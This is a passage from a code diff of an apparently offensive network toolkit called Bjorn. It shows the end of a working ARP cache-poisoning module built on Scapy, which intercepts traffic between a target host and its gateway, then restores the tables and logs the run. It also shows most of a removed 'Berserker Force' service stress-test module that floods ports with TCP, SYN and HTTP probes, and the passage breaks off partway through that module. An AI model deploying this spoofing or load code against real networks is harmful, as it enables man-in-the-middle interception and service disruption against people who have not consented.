"help": "Delay between ARP poison packets."
|
||||
},
|
||||
}
|
||||
b_examples = [
|
||||
{"duration": 60, "interval": 2},
|
||||
{"duration": 120, "interval": 1},
|
||||
]
|
||||
b_docs_url = "docs/actions/ARPSpoof.md"
|
||||
|
||||
# ──────────────────────── Constants ──────────────────────────────
|
||||
_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data")
|
||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "arp")
|
||||
|
||||
|
||||
class ARPSpoof:
|
||||
"""ARP cache poisoning action integrated with Bjorn orchestrator."""
|
||||
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
self._scapy_ok = False
|
||||
self._check_scapy()
|
||||
try:
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
except OSError:
|
||||
pass
|
||||
logger.info("ARPSpoof initialized")
|
||||
|
||||
def _check_scapy(self):
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401
|
||||
self._scapy_ok = True
|
||||
except ImportError:
|
||||
logger.error("scapy not available - ARPSpoof will not function")
|
||||
self._scapy_ok = False
|
||||
|
||||
# ─────────────────── Identity Cache ──────────────────────
|
||||
def _refresh_ip_identity_cache(self):
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hn = (r.get("hostnames") or "").split(";", 1)[0]
|
||||
for ip_addr in [p.strip() for p in (r.get("ips") or "").split(";") if p.strip()]:
|
||||
self._ip_to_identity[ip_addr] = (mac, hn)
|
||||
|
||||
def _mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
# ─────────────────── Gateway Detection ──────────────────
|
||||
def _detect_gateway(self) -> Optional[str]:
|
||||
"""Auto-detect the default gateway IP."""
|
||||
gw = getattr(self.shared_data, "gateway_ip", None)
|
||||
if gw and gw != "0.0.0.0":
|
||||
return gw
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["ip", "route", "show", "default"],
|
||||
capture_output=True, text=True, timeout=5
|
||||
)
|
||||
if result.returncode == 0 and result.stdout.strip():
|
||||
parts = result.stdout.strip().split("\n")[0].split()
|
||||
idx = parts.index("via") if "via" in parts else -1
|
||||
if idx >= 0 and idx + 1 < len(parts):
|
||||
return parts[idx + 1]
|
||||
except Exception as e:
|
||||
logger.debug(f"Gateway detection via ip route failed: {e}")
|
||||
try:
|
||||
from scapy.all import conf as scapy_conf
|
||||
gw = scapy_conf.route.route("0.0.0.0")[2]
|
||||
if gw and gw != "0.0.0.0":
|
||||
return gw
|
||||
except Exception as e:
|
||||
logger.debug(f"Gateway detection via scapy failed: {e}")
|
||||
return None
|
||||
|
||||
# ─────────────────── ARP Operations ──────────────────────
|
||||
@staticmethod
|
||||
def _get_mac_via_arp(ip: str, iface: str = None, timeout: float = 2.0) -> Optional[str]:
|
||||
"""Resolve IP to MAC via ARP request."""
|
||||
try:
|
||||
from scapy.all import ARP, sr1
|
||||
kwargs = {"timeout": timeout, "verbose": False}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
resp = sr1(ARP(pdst=ip), **kwargs)
|
||||
if resp and hasattr(resp, "hwsrc"):
|
||||
return resp.hwsrc
|
||||
except Exception as e:
|
||||
logger.debug(f"ARP resolution failed for {ip}: {e}")
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def _send_arp_poison(target_ip, target_mac, spoof_ip, iface=None):
|
||||
"""Send a single ARP poison packet (op=is-at)."""
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp
|
||||
pkt = Ether(dst=target_mac) / ARP(
|
||||
op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip
|
||||
)
|
||||
kwargs = {"verbose": False}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
sendp(pkt, **kwargs)
|
||||
except Exception as e:
|
||||
logger.error(f"ARP poison send failed to {target_ip}: {e}")
|
||||
|
||||
@staticmethod
|
||||
def _send_arp_restore(target_ip, target_mac, real_ip, real_mac, iface=None):
|
||||
"""Restore legitimate ARP mapping with multiple packets."""
|
||||
try:
|
||||
from scapy.all import ARP, Ether, sendp
|
||||
pkt = Ether(dst=target_mac) / ARP(
|
||||
op=2, pdst=target_ip, hwdst=target_mac,
|
||||
psrc=real_ip, hwsrc=real_mac
|
||||
)
|
||||
kwargs = {"verbose": False, "count": 5}
|
||||
if iface:
|
||||
kwargs["iface"] = iface
|
||||
sendp(pkt, **kwargs)
|
||||
except Exception as e:
|
||||
logger.error(f"ARP restore failed for {target_ip}: {e}")
|
||||
|
||||
# ─────────────────── Main Execute ────────────────────────
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
"""Execute bidirectional ARP spoofing against target host."""
|
||||
self.shared_data.bjorn_orch_status = "ARPSpoof"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
self.shared_data.comment_params = {"ip": ip}
|
||||
|
||||
if not self._scapy_ok:
|
||||
logger.error("scapy unavailable, cannot perform ARP spoof")
|
||||
return "failed"
|
||||
|
||||
target_mac = None
|
||||
gateway_mac = None
|
||||
gateway_ip = None
|
||||
iface = None
|
||||
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or ""
|
||||
hostname = row.get("Hostname") or row.get("hostname") or ""
|
||||
|
||||
# 1) Detect gateway
|
||||
gateway_ip = self._detect_gateway()
|
||||
if not gateway_ip:
|
||||
logger.error(f"Cannot detect gateway for ARP spoof on {ip}")
|
||||
return "failed"
|
||||
if gateway_ip == ip:
|
||||
logger.warning(f"Target {ip} IS the gateway - skipping")
|
||||
return "failed"
|
||||
|
||||
logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}")
|
||||
self.shared_data.log_milestone(b_class, "GatewayID", f"Poisoning {ip} <-> {gateway_ip}")
|
||||
self.shared_data.comment_params = {"ip": ip, "gateway": gateway_ip}
|
||||
self.shared_data.bjorn_progress = "10%"
|
||||
|
||||
# 2) Resolve MACs
|
||||
iface = getattr(self.shared_data, "default_network_interface", None)
|
||||
target_mac = self._get_mac_via_arp(ip, iface)
|
||||
gateway_mac = self._get_mac_via_arp(gateway_ip, iface)
|
||||
|
||||
if not target_mac:
|
||||
logger.error(f"Cannot resolve MAC for target {ip}")
|
||||
return "failed"
|
||||
if not gateway_mac:
|
||||
logger.error(f"Cannot resolve MAC for gateway {gateway_ip}")
|
||||
return "failed"
|
||||
|
||||
self.shared_data.bjorn_progress = "20%"
|
||||
logger.info(f"Resolved - target_mac={target_mac}, gateway_mac={gateway_mac}")
|
||||
self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof")
|
||||
|
||||
# 3) Spoofing loop
|
||||
duration = int(getattr(self.shared_data, "arp_spoof_duration", 60))
|
||||
interval = max(1, int(getattr(self.shared_data, "arp_spoof_interval", 2)))
|
||||
packets_sent = 0
|
||||
start_time = time.time()
|
||||
|
||||
while (time.time() - start_time) < duration:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit - stopping ARP spoof")
|
||||
break
|
||||
self._send_arp_poison(ip, target_mac, gateway_ip, iface)
|
||||
self._send_arp_poison(gateway_ip, gateway_mac, ip, iface)
|
||||
packets_sent += 2
|
||||
|
||||
elapsed = time.time() - start_time
|
||||
pct = min(90, int(20 + (elapsed / max(duration, 1)) * 70))
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
if packets_sent % 20 == 0:
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Injected {packets_sent} poison pkts")
|
||||
|
||||
time.sleep(interval)
|
||||
|
||||
# 4) Restore ARP tables
|
||||
self.shared_data.bjorn_progress = "95%"
|
||||
logger.info("Restoring ARP tables...")
|
||||
self.shared_data.log_milestone(b_class, "RestoreStart", f"Healing {ip} and {gateway_ip}")
|
||||
self._send_arp_restore(ip, target_mac, gateway_ip, gateway_mac, iface)
|
||||
self._send_arp_restore(gateway_ip, gateway_mac, ip, target_mac, iface)
|
||||
|
||||
# 5) Save results
|
||||
elapsed_total = time.time() - start_time
|
||||
result_data = {
|
||||
"timestamp": datetime.datetime.now().isoformat(),
|
||||
"target_ip": ip, "target_mac": target_mac,
|
||||
"gateway_ip": gateway_ip, "gateway_mac": gateway_mac,
|
||||
"duration_s": round(elapsed_total, 1),
|
||||
"packets_sent": packets_sent,
|
||||
"hostname": hostname, "mac_address": mac
|
||||
}
|
||||
try:
|
||||
ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
out_file = os.path.join(OUTPUT_DIR, f"arp_spoof_{ip}_{ts}.json")
|
||||
with open(out_file, "w") as f:
|
||||
json.dump(result_data, f, indent=2)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to save results: {e}")
|
||||
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Restored tables after {packets_sent} pkts")
|
||||
return "success"
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"ARPSpoof failed for {ip}: {e}")
|
||||
if target_mac and gateway_mac and gateway_ip:
|
||||
try:
|
||||
self._send_arp_restore(ip, target_mac, gateway_ip, gateway_mac, iface)
|
||||
self._send_arp_restore(gateway_ip, gateway_mac, ip, target_mac, iface)
|
||||
logger.info("Emergency ARP restore sent after error")
|
||||
except Exception:
|
||||
pass
|
||||
return "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
shared_data = SharedData()
|
||||
try:
|
||||
spoofer = ARPSpoof(shared_data)
|
||||
logger.info("ARPSpoof module ready.")
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
@@ -1,607 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""berserker_force.py - Rate-limited service stress testing with degradation analysis.
|
||||
|
||||
Measures baseline response times, applies light load (max 50 req/s), then reports per-port degradation.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import socket
|
||||
import ssl
|
||||
import statistics
|
||||
import time
|
||||
import threading
|
||||
from datetime import datetime, timezone
|
||||
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
from urllib.request import Request, urlopen
|
||||
from urllib.error import URLError
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="berserker_force.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Scapy (optional) ----------------------------------------
|
||||
_HAS_SCAPY = False
|
||||
try:
|
||||
from scapy.all import IP, TCP, sr1, conf as scapy_conf # type: ignore
|
||||
_HAS_SCAPY = True
|
||||
except ImportError:
|
||||
logger.info("scapy not available -- SYN probe mode will fall back to TCP connect")
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------------
|
||||
b_class = "BerserkerForce"
|
||||
b_module = "berserker_force"
|
||||
b_status = "berserker_force"
|
||||
b_port = None
|
||||
b_parent = None
|
||||
b_service = '[]'
|
||||
b_trigger = "on_port_change"
|
||||
b_action = "aggressive"
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 15
|
||||
b_cooldown = 7200
|
||||
b_rate_limit = "2/86400"
|
||||
b_timeout = 300
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 1
|
||||
b_risk_level = "high"
|
||||
b_enabled = 1
|
||||
|
||||
b_category = "stress"
|
||||
b_name = "Berserker Force"
|
||||
b_description = (
|
||||
"Service resilience and stress-testing action. Measures baseline response "
|
||||
"times, applies controlled TCP/SYN/HTTP load, then re-measures to quantify "
|
||||
"degradation. Rate-limited to 50 req/s max (RPi-safe). No actual DoS -- "
|
||||
"just measured probing with structured JSON reporting."
|
||||
)
|
||||
b_author = "Bjorn Community"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "BerserkerForce.png"
|
||||
|
||||
b_tags = ["stress", "availability", "resilience"]
|
||||
|
||||
b_args = {
|
||||
"mode": {
|
||||
"type": "select",
|
||||
"label": "Probe mode",
|
||||
"choices": ["tcp", "syn", "http", "mixed"],
|
||||
"default": "tcp",
|
||||
"help": "tcp = connect probe, syn = SYN via scapy (needs root), "
|
||||
"http = urllib GET for web ports, mixed = random pick per probe.",
|
||||
},
|
||||
"duration": {
|
||||
"type": "slider",
|
||||
"label": "Stress duration (s)",
|
||||
"min": 10,
|
||||
"max": 120,
|
||||
"step": 5,
|
||||
"default": 30,
|
||||
"help": "How long the stress phase runs in seconds.",
|
||||
},
|
||||
"rate": {
|
||||
"type": "slider",
|
||||
"label": "Probes per second",
|
||||
"min": 1,
|
||||
"max": 50,
|
||||
"step": 1,
|
||||
"default": 20,
|
||||
"help": "Max probes per second (clamped to 50 for RPi safety).",
|
||||
},
|
||||
}
|
||||
|
||||
b_examples = [
|
||||
{"mode": "tcp", "duration": 30, "rate": 20},
|
||||
{"mode": "mixed", "duration": 60, "rate": 40},
|
||||
{"mode": "syn", "duration": 20, "rate": 10},
|
||||
]
|
||||
|
||||
b_docs_url = "docs/actions/BerserkerForce.md"
|
||||
|
||||
# -------------------- Constants -----------------------------------------------
|
||||
_DATA_DIR = None # Resolved at runtime via shared_data.data_dir
|
||||
OUTPUT_DIR = None # Resolved at runtime via shared_data.data_dir
|
||||
|
||||
_BASELINE_SAMPLES = 3 # TCP connect samples per port for baseline
|
||||
_CONNECT_TIMEOUT_S = 2.0 # socket connect timeout
|
||||
_HTTP_TIMEOUT_S = 3.0 # urllib timeout
|
||||
_MAX_RATE = 50 # hard ceiling probes/s (RPi guard)
|
||||
_WEB_PORTS = {80, 443, 8080, 8443, 8000, 8888, 9443, 3000, 5000}
|
||||
|
||||
# -------------------- Helpers -------------------------------------------------
|
||||
|
||||
def _tcp_connect_time(ip: str, port: int, timeout_s: float = _CONNECT_TIMEOUT_S) -> Optional[float]:
|
||||
"""Return round-trip TCP connect time in seconds, or None on failure."""
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout_s)
|
||||
try:
|
||||
t0 = time.monotonic()
|
||||
err = sock.connect_ex((ip, int(port)))
|
||||
elapsed = time.monotonic() - t0
|
||||
return elapsed if err == 0 else None
|
||||
except Exception:
|
||||
return None
|
||||
finally:
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _syn_probe_time(ip: str, port: int, timeout_s: float = _CONNECT_TIMEOUT_S) -> Optional[float]:
|
||||
"""Send a SYN via scapy and measure SYN-ACK time. Falls back to TCP connect."""
|
||||
if not _HAS_SCAPY:
|
||||
return _tcp_connect_time(ip, port, timeout_s)
|
||||
try:
|
||||
pkt = IP(dst=ip) / TCP(dport=int(port), flags="S", seq=random.randint(0, 0xFFFFFFFF))
|
||||
t0 = time.monotonic()
|
||||
resp = sr1(pkt, timeout=timeout_s, verbose=0)
|
||||
elapsed = time.monotonic() - t0
|
||||
if resp and resp.haslayer(TCP):
|
||||
flags = resp[TCP].flags
|
||||
# SYN-ACK (0x12) or RST (0x14) both count as "responded"
|
||||
if flags in (0x12, 0x14, "SA", "RA"):
|
||||
# Send RST to be polite
|
||||
try:
|
||||
from scapy.all import send as scapy_send # type: ignore
|
||||
rst = IP(dst=ip) / TCP(dport=int(port), flags="R", seq=resp[TCP].ack)
|
||||
scapy_send(rst, verbose=0)
|
||||
except Exception:
|
||||
pass
|
||||
return elapsed
|
||||
return None
|
||||
except Exception:
|
||||
return _tcp_connect_time(ip, port, timeout_s)
|
||||
|
||||
|
||||
def _http_probe_time(ip: str, port: int, timeout_s: float = _HTTP_TIMEOUT_S) -> Optional[float]:
|
||||
"""Send an HTTP HEAD/GET and measure response time via urllib."""
|
||||
scheme = "https" if int(port) in {443, 8443, 9443} else "http"
|
||||
url = f"{scheme}://{ip}:{port}/"
|
||||
ctx = None
|
||||
if scheme == "https":
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
try:
|
||||
req = Request(url, method="HEAD", headers={"User-Agent": "BjornStress/2.0"})
|
||||
t0 = time.monotonic()
|
||||
resp = urlopen(req, timeout=timeout_s, context=ctx) if ctx else urlopen(req, timeout=timeout_s)
|
||||
elapsed = time.monotonic() - t0
|
||||
resp.close()
|
||||
return elapsed
|
||||
except Exception:
|
||||
# Fallback: even a refused connection or error page counts
|
||||
try:
|
||||
req2 = Request(url, method="GET", headers={"User-Agent": "BjornStress/2.0"})
|
||||
t0 = time.monotonic()
|
||||
resp2 = urlopen(req2, timeout=timeout_s, context=ctx) if ctx else urlopen(req2, timeout=timeout_s)
|
||||
elapsed = time.monotonic() - t0
|
||||
resp2.close()
|
||||
return elapsed
|
||||
except URLError:
|
||||
return None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def _pick_probe_func(mode: str, port: int):
|
||||
"""Return the probe function appropriate for the requested mode + port."""
|
||||
if mode == "tcp":
|
||||
return _tcp_connect_time
|
||||
elif mode == "syn":
|
||||
return _syn_probe_time
|
||||
elif mode == "http":
|
||||
if int(port) in _WEB_PORTS:
|
||||
return _http_probe_time
|
||||
return _tcp_connect_time # non-web port falls back
|
||||
elif mode == "mixed":
|
||||
candidates = [_tcp_connect_time]
|
||||
if _HAS_SCAPY:
|
||||
candidates.append(_syn_probe_time)
|
||||
if int(port) in _WEB_PORTS:
|
||||
candidates.append(_http_probe_time)
|
||||
return random.choice(candidates)
|
||||
return _tcp_connect_time
|
||||
|
||||
|
||||
def _safe_mean(values: List[float]) -> float:
|
||||
return statistics.mean(values) if values else 0.0
|
||||
|
||||
|
||||
def _safe_stdev(values: List[float]) -> float:
|
||||
return statistics.stdev(values) if len(values) >= 2 else 0.0
|
||||
|
||||
|
||||
def _degradation_pct(baseline_mean: float, post_mean: float) -> float:
|
||||
"""Percentage increase from baseline to post-stress. Positive = slower."""
|
||||
if baseline_mean <= 0:
|
||||
return 0.0
|
||||
return round(((post_mean - baseline_mean) / baseline_mean) * 100.0, 2)
|
||||
|
||||
|
||||
# -------------------- Main class ----------------------------------------------
|
||||
|
||||
class BerserkerForce:
|
||||
"""Service resilience tester -- orchestrator-compatible Bjorn action."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Phase helpers #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
def _resolve_ports(self, ip: str, port, row: Dict) -> List[int]:
|
||||
"""Gather target ports from the port argument, row data, or DB hosts table."""
|
||||
ports: List[int] = []
|
||||
|
||||
# 1) Explicit port argument
|
||||
try:
|
||||
p = int(port) if str(port).strip() else None
|
||||
if p:
|
||||
ports.append(p)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2) Row data (Ports column, semicolon-separated)
|
||||
if not ports:
|
||||
ports_txt = str(row.get("Ports") or row.get("ports") or "")
|
||||
for tok in ports_txt.replace(",", ";").split(";"):
|
||||
tok = tok.strip().split("/")[0] # handle "80/tcp"
|
||||
if tok.isdigit():
|
||||
ports.append(int(tok))
|
||||
|
||||
# 3) DB lookup via MAC
|
||||
if not ports:
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
if mac:
|
||||
try:
|
||||
rows = self.shared_data.db.query(
|
||||
"SELECT ports FROM hosts WHERE mac_address=? LIMIT 1", (mac,)
|
||||
)
|
||||
if rows and rows[0].get("ports"):
|
||||
for tok in rows[0]["ports"].replace(",", ";").split(";"):
|
||||
tok = tok.strip().split("/")[0]
|
||||
if tok.isdigit():
|
||||
ports.append(int(tok))
|
||||
except Exception as exc:
|
||||
logger.debug(f"DB port lookup failed: {exc}")
|
||||
|
||||
# De-duplicate, cap at 20 ports (Pi Zero guard)
|
||||
seen = set()
|
||||
unique: List[int] = []
|
||||
for p in ports:
|
||||
if p not in seen:
|
||||
seen.add(p)
|
||||
unique.append(p)
|
||||
return unique[:20]
|
||||
|
||||
def _measure_baseline(self, ip: str, ports: List[int], samples: int = _BASELINE_SAMPLES) -> Dict[int, List[float]]:
|
||||
"""Phase 1 / 3: TCP connect baseline measurement (always TCP for consistency)."""
|
||||
baselines: Dict[int, List[float]] = {}
|
||||
for p in ports:
|
||||
times: List[float] = []
|
||||
for _ in range(samples):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
rt = _tcp_connect_time(ip, p)
|
||||
if rt is not None:
|
||||
times.append(rt)
|
||||
time.sleep(0.05) # gentle spacing
|
||||
baselines[p] = times
|
||||
return baselines
|
||||
|
||||
def _run_stress(
|
||||
self,
|
||||
ip: str,
|
||||
ports: List[int],
|
||||
mode: str,
|
||||
duration_s: int,
|
||||
rate: int,
|
||||
progress: ProgressTracker,
|
||||
stress_progress_start: int,
|
||||
stress_progress_span: int,
|
||||
) -> Dict[int, Dict[str, Any]]:
|
||||
"""Phase 2: Controlled stress test with rate limiting."""
|
||||
rate = max(1, min(rate, _MAX_RATE))
|
||||
interval = 1.0 / rate
|
||||
deadline = time.monotonic() + duration_s
|
||||
|
||||
# Per-port accumulators
|
||||
results: Dict[int, Dict[str, Any]] = {}
|
||||
for p in ports:
|
||||
results[p] = {"sent": 0, "success": 0, "fail": 0, "times": []}
|
||||
|
||||
total_probes_est = rate * duration_s
|
||||
probes_done = 0
|
||||
port_idx = 0
|
||||
|
||||
while time.monotonic() < deadline:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
p = ports[port_idx % len(ports)]
|
||||
port_idx += 1
|
||||
|
||||
probe_fn = _pick_probe_func(mode, p)
|
||||
rt = probe_fn(ip, p)
|
||||
results[p]["sent"] += 1
|
||||
if rt is not None:
|
||||
results[p]["success"] += 1
|
||||
results[p]["times"].append(rt)
|
||||
else:
|
||||
results[p]["fail"] += 1
|
||||
|
||||
probes_done += 1
|
||||
|
||||
# Update progress (map probes_done onto the stress progress range)
|
||||
if total_probes_est > 0:
|
||||
frac = min(1.0, probes_done / total_probes_est)
|
||||
pct = stress_progress_start + int(frac * stress_progress_span)
|
||||
self.shared_data.bjorn_progress = f"{min(pct, stress_progress_start + stress_progress_span)}%"
|
||||
|
||||
# Rate limit
|
||||
time.sleep(interval)
|
||||
|
||||
return results
|
||||
|
||||
def _analyze(
|
||||
self,
|
||||
pre_baseline: Dict[int, List[float]],
|
||||
post_baseline: Dict[int, List[float]],
|
||||
stress_results: Dict[int, Dict[str, Any]],
|
||||
ports: List[int],
|
||||
) -> Dict[str, Any]:
|
||||
"""Phase 4: Build the analysis report dict."""
|
||||
per_port: List[Dict[str, Any]] = []
|
||||
for p in ports:
|
||||
pre = pre_baseline.get(p, [])
|
||||
post = post_baseline.get(p, [])
|
||||
sr = stress_results.get(p, {"sent": 0, "success": 0, "fail": 0, "times": []})
|
||||
|
||||
pre_mean = _safe_mean(pre)
|
||||
post_mean = _safe_mean(post)
|
||||
degradation = _degradation_pct(pre_mean, post_mean)
|
||||
|
||||
per_port.append({
|
||||
"port": p,
|
||||
"pre_baseline": {
|
||||
"samples": len(pre),
|
||||
"mean_s": round(pre_mean, 6),
|
||||
"stdev_s": round(_safe_stdev(pre), 6),
|
||||
"values_s": [round(v, 6) for v in pre],
|
||||
},
|
||||
"stress": {
|
||||
"probes_sent": sr["sent"],
|
||||
"probes_ok": sr["success"],
|
||||
"probes_fail": sr["fail"],
|
||||
"mean_rt_s": round(_safe_mean(sr["times"]), 6),
|
||||
"stdev_rt_s": round(_safe_stdev(sr["times"]), 6),
|
||||
"min_rt_s": round(min(sr["times"]), 6) if sr["times"] else None,
|
||||
"max_rt_s": round(max(sr["times"]), 6) if sr["times"] else None,
|
||||
},
|
||||
"post_baseline": {
|
||||
"samples": len(post),
|
||||
"mean_s": round(post_mean, 6),
|
||||
"stdev_s": round(_safe_stdev(post), 6),
|
||||
"values_s": [round(v, 6) for v in post],
|
||||
},
|
||||
"degradation_pct": degradation,
|
||||
})
|
||||
|
||||
# Overall summary
|
||||
total_sent = sum(sr.get("sent", 0) for sr in stress_results.values())
|
||||
total_ok = sum(sr.get("success", 0) for sr in stress_results.values())
|
||||
total_fail = sum(sr.get("fail", 0) for sr in stress_results.values())
|
||||
avg_degradation = (
|
||||
round(statistics.mean([pp["degradation_pct"] for pp in per_port]), 2)
|
||||
if per_port else 0.0
|
||||
)
|
||||
|
||||
return {
|
||||
"summary": {
|
||||
"ports_tested": len(ports),
|
||||
"total_probes_sent": total_sent,
|
||||
"total_probes_ok": total_ok,
|
||||
"total_probes_fail": total_fail,
|
||||
"avg_degradation_pct": avg_degradation,
|
||||
},
|
||||
"per_port": per_port,
|
||||
}
|
||||
|
||||
def _save_report(self, ip: str, mode: str, duration_s: int, rate: int, analysis: Dict) -> str:
|
||||
"""Write the JSON report and return the file path."""
|
||||
output_dir = os.path.join(self.shared_data.data_dir, "output", "stress")
|
||||
try:
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
except Exception as exc:
|
||||
logger.warning(f"Could not create output dir {output_dir}: {exc}")
|
||||
|
||||
ts = datetime.now(timezone.utc).strftime("%Y-%m-%d_%H-%M-%S")
|
||||
safe_ip = ip.replace(":", "_").replace(".", "_")
|
||||
filename = f"{safe_ip}_{ts}.json"
|
||||
filepath = os.path.join(output_dir, filename)
|
||||
|
||||
report = {
|
||||
"tool": "berserker_force",
|
||||
"version": b_version,
|
||||
"timestamp": datetime.now(timezone.utc).isoformat().replace("+00:00", "Z"),
|
||||
"target": ip,
|
||||
"config": {
|
||||
"mode": mode,
|
||||
"duration_s": duration_s,
|
||||
"rate_per_s": rate,
|
||||
"scapy_available": _HAS_SCAPY,
|
||||
},
|
||||
"analysis": analysis,
|
||||
}
|
||||
|
||||
try:
|
||||
with open(filepath, "w") as fh:
|
||||
json.dump(report, fh, indent=2, default=str)
|
||||
logger.info(f"Report saved to {filepath}")
|
||||
except Exception as exc:
|
||||
logger.error(f"Failed to write report {filepath}: {exc}")
|
||||
|
||||
return filepath
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Orchestrator entry point #
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
def execute(self, ip: str, port, row: Dict, status_key: str) -> str:
|
||||
"""
|
||||
Main entry point called by the Bjorn orchestrator.
|
||||
|
||||
Returns 'success', 'failed', or 'interrupted'.
|
||||
"""
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# --- Identity cache from row -----------------------------------------
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
hostname = (row.get("Hostname") or row.get("hostname") or "").strip()
|
||||
if ";" in hostname:
|
||||
hostname = hostname.split(";", 1)[0].strip()
|
||||
|
||||
# --- Resolve target ports --------------------------------------------
|
||||
ports = self._resolve_ports(ip, port, row)
|
||||
if not ports:
|
||||
logger.warning(f"BerserkerForce: no ports resolved for {ip}")
|
||||
return "failed"
|
||||
|
||||
# --- Read runtime config from shared_data ----------------------------
|
||||
mode = str(getattr(self.shared_data, "berserker_mode", "tcp") or "tcp").lower()
|
||||
if mode not in ("tcp", "syn", "http", "mixed"):
|
||||
mode = "tcp"
|
||||
duration_s = max(10, min(int(getattr(self.shared_data, "berserker_duration", 30) or 30), 120))
|
||||
rate = max(1, min(int(getattr(self.shared_data, "berserker_rate", 20) or 20), _MAX_RATE))
|
||||
|
||||
# --- EPD / UI updates ------------------------------------------------
|
||||
self.shared_data.bjorn_orch_status = "berserker_force"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip} ({len(ports)} ports)"
|
||||
self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports)), "mode": mode}
|
||||
|
||||
# Total units for progress: baseline(15) + stress(70) + post-baseline(10) + analysis(5)
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
|
||||
try:
|
||||
# ============================================================== #
|
||||
# Phase 1: Pre-stress baseline (0 - 15%) #
|
||||
# ============================================================== #
|
||||
logger.info(f"Phase 1/4: pre-stress baseline for {ip} on {len(ports)} ports")
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "baseline"}
|
||||
self.shared_data.log_milestone(b_class, "BaselineStart", f"Measuring {len(ports)} ports")
|
||||
|
||||
pre_baseline = self._measure_baseline(ip, ports)
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.bjorn_progress = "15%"
|
||||
|
||||
# ============================================================== #
|
||||
# Phase 2: Stress test (15 - 85%) #
|
||||
# ============================================================== #
|
||||
logger.info(f"Phase 2/4: stress test ({mode}, {duration_s}s, {rate} req/s)")
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"phase": "stress",
|
||||
"mode": mode,
|
||||
"rate": str(rate),
|
||||
}
|
||||
self.shared_data.log_milestone(b_class, "StressActive", f"Mode: {mode} | Duration: {duration_s}s")
|
||||
|
||||
# Build a dummy ProgressTracker just for internal bookkeeping;
|
||||
# we do fine-grained progress updates ourselves.
|
||||
